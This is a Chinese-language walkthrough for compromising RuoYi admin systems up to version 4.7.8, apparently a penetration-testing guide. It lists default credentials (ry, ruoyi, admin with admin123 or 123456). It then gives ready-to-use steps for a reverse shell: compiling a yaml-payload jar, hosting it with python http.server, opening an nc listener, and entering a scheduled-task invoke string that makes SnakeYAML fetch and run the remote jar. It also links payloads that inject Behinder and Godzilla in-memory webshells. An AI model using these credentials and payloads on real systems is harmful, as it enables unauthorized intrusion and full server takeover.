漏洞存在版本
漏洞在4.7.8版本及之前都存在该漏洞
若依弱口令
默认用户:ry、ruoyi、admin
常用的密码:admin、admin123、123456
后台定时任务
登录后台,找到添加定时任务的模块:
准备
准备过程:
准备反弹shell或者注入内存马的jar包。
将准备好的jar包放在测试者服务器上。
在测试者服务器上的存放jar包的文件夹下,使用python起一个http服务提供远程下载。
开启nc监听(注入内存马的payload不需要这一步)
1、准备利用的jar包
https://github.com/artsploit/yaml-payload #可以执行命令
https://github.com/lz2y/yaml-payload-for-ruoyi#注入冰蝎马的
https://github.com/M0untainShley/yaml-payload-for-ruoyi-godzilla#注入哥斯拉马
https://github.com/bkfish/yaml-payload-for-Win#Windows反弹shell的
这里复现用的是常规的反弹shell的https://github.com/bkfish/yaml-payload-for-Win
,这个下载后是需要自己修改内容然后编译打包的。
下载后修改AwesomeScriptEngineFactory.java
内容。
框着的内容换成测试服务nc监听的IP和端口
修改后,在src文件夹同一目录下执行编译和打包的命令:
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
至此jar包准备结束,其他的jar包利用可看对应github上有利用教程,基本上都是打包好的。
2、将准备好的jar包上传到测试服务上
很多SSH远程连接工具都支持文件上传,如Tabby
等不再赘述。
3、测试服务开启远程下载
使用python在有jar包文件下开启http服务,提供远程下载服务,命令如下:
python3 -m http.server 8000 #python3
python -m SimpleHTTPServer 8000 #python2
4、nc开启监听
利用
添加定时任务:
任务名称:任意写
调用目标字符串:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p'://[ip]:[port]/yaml-payload.jar"]]]]')
ip和端口换成自己开启的http服务的ip和端口,yaml-payload.jar
换成你自己生成的jar包名称cron表达式:
0/10 * * * * ?
(可以修改)
写好后保存执行,就会得到反弹的shell:
参考相关连接:
https://ctf.org.cn/2021/06/26/%E8%AE%B0%E4%B8%80%E6%AC%A1%E8%8B%A5%E4%BE%9Dcms%E5%90%8E%E5%8F%B0getshell/
https://github.com/artsploit/yaml-payload
https://github.com/lz2y/yaml-payload-for-ruoyi
https://github.com/M0untainShley/yaml-payload-for-ruoyi-godzilla
https://github.com/bkfish/yaml-payload-for-Win#Windows
等等